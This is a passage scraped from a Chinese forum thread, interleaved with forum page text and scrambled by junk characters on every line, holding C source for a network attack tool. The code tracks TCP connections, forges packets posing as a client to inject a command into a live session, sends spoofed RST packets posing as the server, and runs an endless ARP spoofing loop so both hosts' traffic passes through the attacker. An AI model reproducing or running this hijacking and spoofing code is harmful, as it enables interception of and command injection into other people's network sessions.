& [( X+ u; [; C+ X8 {. J  while(pTmp) - f4 I0 n( E( l
  { 6 b' B0 d/ m5 ~4 a& B* p: E
    if(pTmp-&gt;bActive)
$ S$ I3 Y* d# p8 p2 ]    { ) r# l4 A* z) Z( S) w( T4 n# d$ c
      //found it
& j# L. f! I- F8 b- X! ?! D      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
8 E/ K/ R5 t) t! \# U5 C$ N7 c        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
/ _" [& b% R8 y3 c2 y2 u# K        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
! U1 h7 B: J. c8 [! Y% i( n  k4 b        (pTmp-&gt;uClientPort == uClientPort) ) ! d$ j/ R% }' h5 Z$ m
      { # v* |7 @" R, b" W
        if(bDelete) ' J; h9 w! s2 ?* o6 G' ^' w7 I
        { / C* t+ B" Z6 J+ p
          pTmp-&gt;bActive = FALSE;
  x4 w( [8 o! w  e) P7 A          return 0;
0 ^9 V* [5 W" \' a; k" _        } 6 V8 o2 h5 Y6 y. z% j
        else return pTmp-&gt;ident;
* K  n9 O" K* _/ ?8 b. V4 ^4 c      } - w* i2 s. u* R/ ?8 B- v
    } & E/ p. A4 G& ~' L0 c6 I3 P1 }: n
    pTmp = pTmp-&gt;Next;
6 J+ v5 A- A& l; t" w1 P* `, t  } 5 m' B3 m3 F5 S1 S. A( E/ P! t, x  S
  //not found, create new node - J" N0 ^! q& b7 c
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) 1 X7 v" i* M) S4 E3 d* _# t& v% h
  { 8 G( v2 _1 e3 `' U( I5 \) K
    //search unactive note
& ^8 G0 t' D, E6 G. i3 X9 a    pTmp = g_pConnHead;
, b- N& s4 E& h3 _2 L0 O    while(pTmp)
  o5 l* J7 k8 l  ^5 x, R    {
1 w4 y% j/ M% U      if(!pTmp-&gt;bActive) break;
3 c1 x1 S  G4 ]' Y. L; E4 G. A: M      pTmp = pTmp-&gt;Next;
0 L2 H' S8 r! u1 z4 w0 N4 O( m    } 2 K! [9 T2 y* `  h
    //found a unactive node
* t  i( F4 q% O+ \    if(pTmp)
( G, o* \- r, Q5 i+ y    { ( _- ]; k2 P0 D5 X
      pTmp-&gt;dwServerIP = dwServerIP; ( L: Z$ c, m" c# s& y7 A
      pTmp-&gt;uServerPort = uServerPort; ( ]; n- \3 d# U' `, D
      pTmp-&gt;dwClientIP = dwClientIP; 8 g7 h3 u. d. C4 a* N9 v
      pTmp-&gt;uClientPort = uClientPort; , X. N' W$ v( U2 _! b/ e
      pTmp-&gt;bActive = TRUE;
2 _/ p" G, Z: [$ x( Z" U: |+ j* z4 r      return pTmp-&gt;ident;
% t- C" n) T( c; R( L. x) a    } , ?. a# F, ]( Z- t0 r( C" ?
    //not found,create new node
  G$ [2 L1 T5 b+ U2 B    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 5 s5 n; ~: E8 h4 H7 b* d1 W( F
    if(!pNew) ( U/ l. B, ?! R$ G9 I
    { 1 H8 E& u3 N! {; a* b
      printf("malloc for link node error:%d\n", GetLastError()); % P3 v1 G* {/ h5 G
      return 0; # |9 S* h4 e+ n) N8 a3 ?
    } : q1 t2 e) r5 H- y4 ^+ n- D( x1 {% \
    //fill the struct * [3 d( J. s" m) ]1 x2 o. C. N
    pNew-&gt;bActive = TRUE; 5 m; }/ t3 m' L, N
    pNew-&gt;dwServerIP = dwServerIP;
7 c2 `6 `  E$ n* r    pNew-&gt;uServerPort = uServerPort;
6 D" i; `2 j! Q0 D    pNew-&gt;dwClientIP = dwClientIP; ; K. c; N2 u, v% t+ p
    pNew-&gt;uClientPort = uClientPort; : {# }, W* w- |" p  B
    pNew-&gt;ident = ++g_ident;
3 z; }2 x: T, i    pNew-&gt;Next = NULL; * k# e8 d, O  w' x6 g# s) n
    //add new node to link ' f0 A. T  b. U% }* B3 c
    if(!g_pConnHead)
" B( I  @5 C/ K2 {& |      g_pConnHead = g_pConnLast = pNew; ( l4 m* Y: f4 T2 O& L
    else
' f. k6 _1 |" t6 c    { / n; b* [9 Q5 H9 w: W3 A
      g_pConnLast-&gt;Next = pNew;
$ W7 A) K  Z0 }8 f# B* l& o0 |2 U' F& y      g_pConnLast = pNew; % `$ j1 d9 `5 I- z* Y# ?, i: c
    }
, @" j- K* w& r2 m2 w    return pNew-&gt;ident;
; f  B5 i  v( Y; I- |* U  }
% S. B1 {- i0 W2 Z+ F& ^- o+ V# [  return 0;
( a& P& m( O: g8 B6 z) o} 1 |  r$ `8 e1 x0 _' S5 @
; {6 w. c% j* d7 t3 ?3 [" B$ T- W' }
//
( l. W( u& H1 h* N1 @//功能:判断一个数据包是不是只有ACK标志 0 S2 ^9 t* M+ q/ K$ b
// ! {  p- S3 t# E- S" D
BOOL IsACKPacket(unsigned char flag)
) c. R8 `% A4 `, d% Z6 T1 Y; K{
1 s% |) I; Z- d" P9 ?  int  i, j=1; * E; o/ [! k9 W% L5 f3 x" f
  for(i=0 ; i&lt;4; i++)
) t: a5 L8 X0 I# d+ ~+ z  {
) M: W; F$ V: E    if(flag &amp; j) return FALSE;
2 V. T6 e$ W5 b; p% g+ ~    j &lt;&lt;= 1; & F4 U( _5 f. k+ x; n4 a/ X
  }
( ^5 e* @; P. K8 T$ K/ x# ^  if(!(flag &amp; 0x10)) return FALSE;//is ack? 6 l' Z, t$ y6 Y0 h+ [" {
  if(flag &amp; 0x20) return FALSE;
0 Q0 Y# i- e- s4 }  return TRUE; 5 i2 ^/ ]8 b2 U* ?$ d; w
}
) j; A/ Y3 k( T3 z0 Z0 H
, U" H$ L/ m1 C  K// 7 g3 j7 A# I0 n6 S2 ^( {  q. _
//功能:伪装成Client给Server发送数据包
, l2 ^; m+ D5 p0 u. g/ R// 4 w' ?9 V3 }, P, q
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) 9 i) \  B; S7 i- k
{
( V+ E2 v# l7 N! p$ @: a9 l* D! |& o* G- c8 {+ y
  char    szBuff[1520];
# A5 _/ j- x0 t, ~. y. c9 R  PSDHDR    psdhdr;
+ S& D" Q! F& f2 p" i# J  PTCPPACKET  pHiJackPacket = NULL; ! C' T1 h0 X6 `
  BOOL    bRet = FALSE;
0 J+ H5 ]7 Z; {0 O& c/ A* v: A7 ~' ^* K( g$ S9 n( N) P
  __try
) d1 F' p0 c+ q6 w0 J. \5 S. w  {
/ }* ^: J* r/ P5 T    // ; j5 \; J/ @- i) j: @% T( s' H
    if(!g_pCurrCtrlConn) __leave; ( C7 K) E1 ?! p5 y9 X% y
    //allocate memory for hijack packet + p# p3 w' b$ I: ]& R8 M, U. R; o
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); & L1 |, \4 [6 j
    if(!pHiJackPacket) & ?2 Q7 X; p& w) i
    {
# d; g% b5 f/ Y( B+ b7 l) N      printf("malloc error:%d\n", GetLastError());
- b1 @2 b1 Z* r! e, @  J9 M# J, M$ e      __leave; ' r  D& q% j0 J* a1 }
    }
: h' s) k2 H8 h& K6 m/ t- C    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
: `8 ?3 F" Y. p7 x3 e    //-------------- modify the packet ---------------// 8 d( q/ N" N, A5 D
    //modify ethernet head . W+ I, P4 W9 A3 ^' B" h' ~, v
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); % P, u+ P6 H) b0 X# c
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
7 ?; s7 b/ m0 x. U, s$ L& E) R/ [    //modify ip head
* }% `8 c2 h) F6 M7 u/ A2 W: _    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); & r: Q' K7 v& P. Q. g1 t# w
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
0 ?3 q9 f. W7 t5 I, K    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
6 ?2 h9 b8 _+ o( c3 `    pHiJackPacket-&gt;iphdr.checksum = 0;
, R% y% O* B7 V3 F    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
/ _1 ^( Z( e/ _1 v    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
9 y; P! y8 P# s    //modify tcp head
" i$ d  @/ {8 _    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
8 R3 i3 g4 o+ n8 ?    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
, g, E! p. i- G& q( u# i    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); 5 J6 T8 U# d8 C
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
, J* b+ k$ I3 X& N7 c  b    pHiJackPacket-&gt;tcphdr.th_sum = 0;
, y6 i0 ^$ z2 S/ A8 l) @    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; ( D2 a5 K, k; n: r$ N) j
    //fill tcp psd head
6 W9 M& w  H1 u; m: m4 u& G6 o    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           ' y1 o. U8 H& E& p2 B
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           9 S9 d$ z) P1 Y, `; M, @
    psdhdr.mbz = 0;
7 `( N" [- q5 {+ G$ C; x" z* q9 J: \6 R    psdhdr.ptcl = IPPROTO_TCP;
3 c4 N( R' q2 Z/ T    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
$ t7 g6 v' |& C7 h, h# ~/ y3 x    //calculate tcp checksum     
5 H5 m, |: s- _; Y* ~3 p4 C    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   5 O6 q; s; Z/ H0 J) k# V
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
! a  n7 f' a  f) R  M, u% ^$ G    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
( n7 I5 ^, y- E* W    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
6 g* l  X( S* a, P    //calculate IP checksum
6 F( C: S, B; A) h6 ]# M    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
% n  _; }2 C7 m' D5 }    //fill send buffer           : R( {; w. F- Q' y+ u
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 9 a: R8 o! n% n* {
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
8 N4 n; K5 U3 \$ W0 T0 a1 S. N    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
' \# V) o9 n: U: S, D& ~    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); ; s% ^* @4 N; j' S! C) R6 E6 B
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
& r9 T) x  w3 a" G    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) . E! N8 G9 t2 j. g( z. H, G' e% c6 @
    {
" E. {' c* @3 y1 S" x3 @2 y  T- i      printf("Error sending the hijack packets!\n"); 5 m$ e) |6 q$ \, w* P3 \# b
      __leave;
$ p# Z$ c) N5 J6 O8 A    }
5 {4 S" j" W1 {" D) W4 v5 m! G: T    else printf("Send hijack packet ok!\n"); 1 D& V+ X) y7 N5 `- r6 [. V" k. u
    bRet = TRUE; : a7 H7 f( b3 k2 |! Y* m
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally
: Q( A( C3 M' p: S5 a  {
  Y  S6 r4 y# B: n    if(pHiJackPacket) free(pHiJackPacket); 1 A: g1 v5 M5 H3 l, K7 W( [8 T
  }
' y# F* g1 B! M0 z- \: l  return bRet; & n" `# A6 \% ?/ L
}
' J0 D# p9 q1 D. X; R' F1 Z1 Y

1 }( d2 V  b, {' W# c) ]" \//
! M/ k% j: E6 X0 r/ M1 J/ W//功能:伪装成Server给Client发送rst包 4 r3 B# U# h/ q& u! @
// + d0 e- q# w8 `  R7 I/ A
BOOL SendRstPacket(unsigned int seq, unsigned int ack) 3 T2 @  }# s- m( D6 S8 A
{
6 [6 F" M2 {* X8 {2 w0 l6 s  char    szBuff[60];   q  g3 ~; @5 J' x. r6 B% x0 V, U  i
  PSDHDR    psdhdr;
2 I+ k# y% ^1 C  o) O* Q/ m1 H  PTCPPACKET  pTcpPacket = NULL;
* P* A$ }: \7 J+ Y  BOOL    bRet = FALSE;
, u' Z$ y5 U7 C/ i2 b$ S! z+ I- {9 h" }
- H: z& c% ~- D& U9 F  __try ) g+ M2 K& j1 q% U: O0 x5 x( X, @7 h
  {
7 B5 `0 q6 l3 ]0 Y/ y    //检查当前指向想控制的连接的信息的指针是否为空
. B0 ^; |+ w$ ^/ Z    if(!g_pCurrCtrlConn) __leave; , i2 `4 }: {8 G. [4 ]: o6 m, R
    //allocate memory for rst packet 6 d, g# v# D: P% g$ v
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
( u# s) e# i$ y* x" ?    if(!pTcpPacket)
7 B6 J7 G! N1 V+ d/ v    { * d) D% E+ H/ p- A, U, h  b5 Q
      printf("malloc error:%d\n", GetLastError());
$ e# x' [; T6 T      __leave;
7 N7 E5 q  Z9 k    } / N! m6 n/ @0 l) @+ a% b
    //fill ethernet head
' b! y! Q9 j& @2 U) @! r) Z    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); " H4 v- |: b8 u7 a
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); . [5 b- n' @- T* b
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP); . n0 W& Q9 K# g
    //fil ip head ) g- }' q2 Q  f9 y# a: k5 @8 D$ w
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 4 I) T+ V" u3 ?9 u6 p& }: k
    pTcpPacket-&gt;iphdr.tos = 0;
: s- t8 r" U: w% _! C: I5 O    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); $ j& q( t: ~' n' R- S4 r& n
    pTcpPacket-&gt;iphdr.ident = 1; 8 ^/ N2 u! @& \* C0 V  Y. A
    pTcpPacket-&gt;iphdr.frag_and_flags = 0; 0 y) b7 u3 k1 [2 e9 S1 E
    pTcpPacket-&gt;iphdr.ttl = 128;
" m& L& R# z3 E2 b/ J3 G7 J    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
) B9 P4 |4 h% I& o. k' c: \. T+ v( b# C    pTcpPacket-&gt;iphdr.checksum = 0;
' o- Q! T1 ~2 @5 a% u: p# E# M    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的
; v, q" M+ e4 t# i7 ]& H    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
2 n. X" E; D) t2 y) G+ ^    //fill tcp head ) M5 Q% E4 ?+ }
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
/ U. R, B* j$ W    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 , `& h: ]2 o8 O, G& q1 n4 n% h
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
! f" f7 Y( O: L" Z    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
7 x# ?+ o+ V; ~# Y- i) M    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
) P0 ^1 o( ]- n/ k' ~+ W    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag . T* b" ]2 U  Z) _1 ^# w* k
    pTcpPacket-&gt;tcphdr.th_win = 0;
+ q6 ~' b, J2 Z0 ?. }% r( b    pTcpPacket-&gt;tcphdr.th_urp = 0; , N3 l2 Z7 f' w( y. ?
    pTcpPacket-&gt;tcphdr.th_sum = 0;
9 f: Z; v, Y. H4 k; l5 l8 n    //fill tcp psd head
2 |$ e* p! r/ T: f( A$ ]% k- ^    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 i; [& C" L# g& }    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
2 s2 @' J) l% k9 n* \: t+ X/ y  d    psdhdr.mbz = 0; $ k' T$ P) }" j6 H( j
    psdhdr.ptcl = IPPROTO_TCP;   t2 F4 t' s8 a$ B5 c7 C
    psdhdr.tcpl = htons(sizeof(TCPHDR)); . Z, C5 j: Y4 _* p. ^/ X0 G
    //calculate tcp checksum     $ C- Q0 @' }4 `8 y
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
& k! c. ^+ d2 ]    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR)); - n4 L$ O) R0 r2 [# s
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
, e  e; o7 N1 Z( v3 v! |    //calculate IP checksum
' ]$ |, y) E0 b9 p( ?  R1 |    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
8 L. ?! p% f, ?% T    //fill send buffer
, h+ K! c3 \! n# r! b: e7 M# D9 D    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); - P( f. w' p& F
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
6 r9 s# O. L4 G* a/ q2 P9 y    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) $ k% s! j, Z: g3 L1 z- U, p6 C  e8 Y
    {
% L7 ]# p& D$ k  ^2 w$ o- M      printf("Error sending the rst packets!\n"); , Z1 p/ _9 n0 N
      __leave; $ O# a! L% Z; _0 K6 {
    } 8 b1 Z& d# p$ i! @, h. N/ P- `$ |" }/ w
    else printf("Send RST packet ok!\n"); 7 a# F# H( p+ {2 r0 ], y
    bRet = TRUE; : @5 A9 D# \9 ~) p; M1 f& M7 s
  }
9 j  Q% \- r) P- L. q  __finally
. i" P2 D6 O1 O6 o1 a  {
. G! x5 T3 d! x! `2 S1 w    if(pTcpPacket) free(pTcpPacket);   A- q0 L( E" {! q" g
  }
3 O! ]( R, j  y$ f: O6 W3 ~8 }  return bRet;
7 S( L' K* q* ?+ f} * Z2 P1 g+ e% m* \( o  A+ Q
9 L! P+ y$ T& E" l7 k0 D! N
// 0 I: }+ k8 d1 j: p% f9 ~
//功能:计算校验和 ; B0 G8 n  k6 g: `
// / u8 v2 w% b& c: H" k
USHORT checksum(USHORT *buffer, int size) ( J: u9 i6 j6 S9 [7 U$ v
{ 6 v$ j8 s. ~" \& K2 I" b+ S- [
unsigned long cksum=0;
1 B9 p% S$ x2 @- S( q7 K( U! R8 s1 X6 P while(size &gt;1) {
; d1 L; L( C# W* m! f, f8 ]  cksum+=*buffer++; + o9 c1 Z5 S* s' {7 S3 s
  size -=sizeof(USHORT); , O4 \+ |0 E6 y; |+ v" }! V
} ! G$ T4 d0 v) Z: i  t
if(size ) {
2 y; x, C( N; `9 ^% `0 _  cksum += *(UCHAR*)buffer;
/ P3 s$ k1 G# }) C) M } 6 t! A: ^7 ?' Y7 }
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); & z. w5 y+ E( Z# i8 W& T& S
cksum += (cksum &gt;&gt;16); $ j) l: L( u8 t4 P( v9 _/ U! T5 e0 i
return (USHORT)(~cksum); ' y) p. h0 \" v3 V0 E5 h( n- h
}
! l4 U' r9 _$ m1 n1 S, Y: ]  R, M3 a) ], v: s
// ! [5 D2 C$ h) J, l4 |
//功能:实施ARP欺骗 3 ~) N( L5 d' ?
//1 告诉ServerSide,ClientSide的mac是ownmac 2 H+ f  y9 f, u. n6 Z: U5 U9 I
//2 告诉ClientSide,ServerSide的mac是ownmac ( E7 z3 T" t; \: A
// ; ~. K. z* x! D' [1 U
DWORD WINAPI ArpSpoofThread(LPVOID lpType) : i6 _8 k6 O' k4 ^0 B( h& \$ ]
{
3 `! P7 W3 U' j: x9 C/ n  int  iType = *(int *)lpType;
# s6 D! ~  q8 |1 {) W8 j2 \  ARPPACKET  ArpPacket; * P! _- _* d0 ^, u- }* x
  LPPACKET  lpArpPacket; & W% ]* G6 n" k! P
  char    szArpBuff[60];
* R# [* F3 `6 r) {
& I2 s. \6 D' F  A3 a1 U3 W  switch(iType)   ]8 R+ H  B6 f- {' s
  { % n, D1 C9 ~& r/ S' X6 D
    case 1:
% r8 v- Q5 ~1 c; V: }' {! j      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
5 o9 b  k% P( n, t' U) }: V! D      ArpPacket.arphdr.DestIP = g_ServerSideIP; ' V4 I% e& c. Y" ~* y2 W
      ArpPacket.arphdr.SourceIP = g_ClientSideIP; 0 O7 u- p' U! m0 `4 v
      break;
) D! r! S& t- g* t4 y3 B' F8 m7 \( N    case 2:
& x0 c& K, Z7 |3 e$ w3 h* t      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); % T# U! l1 |( x
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
. J/ O' \% f% |4 ]# w/ @& x9 H; h      ArpPacket.arphdr.SourceIP = g_ServerSideIP; ( t' H+ s" a" @9 n9 @" V7 U, T' B8 w
      break; 6 `+ _8 g* p: h: J7 ^/ l$ ]3 H
    default: 8 U3 {4 V9 X6 |
      return 0;
* v  Z7 t4 T& a* k, Z* Z7 _9 a  } + ?- p) L5 `; f" \) L' w
  //ethernet head . |! Z* f' W9 ?1 r& r
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
) M7 e. i2 Q( `3 K8 E  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type 3 W) x9 _1 T& U- s( Q
  //arp head : s% J( ~# B3 B
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac " I# L% g! W5 [0 C6 B( J$ A) z
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
5 ]; }* r. I: b9 P- G  ArpPacket.arphdr.HrdAddrlen = 6; 3 }6 ?6 ^# n& N% A0 P2 d
  ArpPacket.arphdr.ProAddrLen = 4; 2 Q  k: O/ U$ F7 j- C
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); & e+ e8 P, U; r. r
  ArpPacket.arphdr.ProType = htons(EPT_IP); , Q- L$ B) h" S* h* [
  ArpPacket.arphdr.op = htons(2);//arp reply 2 K( y2 w6 n+ h7 \
# M( O# D  t, j
  lpArpPacket = PacketAllocatePacket(); : l# a3 |/ D& ]# Q. {9 v
  if(lpArpPacket == NULL) * ^0 O2 P3 f5 F3 _3 V
  { . @2 [! @  J+ I7 g
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
$ ]- |; a7 p2 ~7 a; T/ ?    return 0; ; c- U$ a( W, {, I. p
  } % }& i- ~5 w1 O2 R3 }7 L  {  G
  memset(szArpBuff, 0, sizeof(szArpBuff)); ) I9 k( @  `% T: ^3 ^
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
' c/ r7 E0 m5 L& c' D  PacketInitPacket(lpArpPacket, szArpBuff, 60); , I3 @, s/ f0 R. h
  //send arp packet 5 ?7 J' [; F+ |( `* u+ j
  while(1) ! I2 M% _( q' ^  p: S
  { 6 _) d3 K  y0 L1 w9 }% _" G, H* O/ X9 m
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
( s6 v! e. B9 ^1 O# y/ C    {
" U; {7 O! J- T9 `      printf("Error sending the arp spoof packets!\n"); / E- |$ e+ C1 ^, o5 P9 @
      return 0; $ U+ b5 p0 v( v+ G( V
    } 8 l6 T* v1 q& x- d+ w; t3 d8 q
    Sleep(1000);
# [; C9 [: y: q3 I5 Q3 ]  }
+ F2 [2 A7 {) t4 `) c6 C  return 0;
4 N' Q" Y; U8 X; ~" \' \}
* t) P8 R- W& M( x, c4 J3 i: T  d* E
//
& d1 }! I& b! ~//功能:输入IP取得对应的MAC地址 , G/ L9 i, ^* ~4 Z
// - m* K7 X7 X" p' \+ k* o
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
1 {6 b* Y6 q! P/ }' p{ , B8 }7 Y2 k+ s8 u1 K) r
  DWORD  dwRet;
% ]4 y& N9 I# C$ M0 a  ULONG  ulLen = 6, pulMac[2]; ( M( C/ s# ?: M+ m& |7 }+ M
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
8 [$ S8 G4 [5 v& t3 @+ n  if(dwRet == NO_ERROR)
. j. }2 N9 K6 A  { 5 S5 }: `% x  e, ?; M4 X6 T- x
    memcpy(pMAC, pulMac, 6); / o& a( Y. x3 h  t0 }' P
    return TRUE; # U: @. k, Q! V7 D7 a% c4 e
  } 6 Y5 V& y) k" A' U) |1 K
  else return FALSE; / `# U7 V. y% m$ q7 ~( ?( `3 Q$ c
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-8-23 19:07 , Processed in 0.534528 second(s), 91 queries .

    回顶部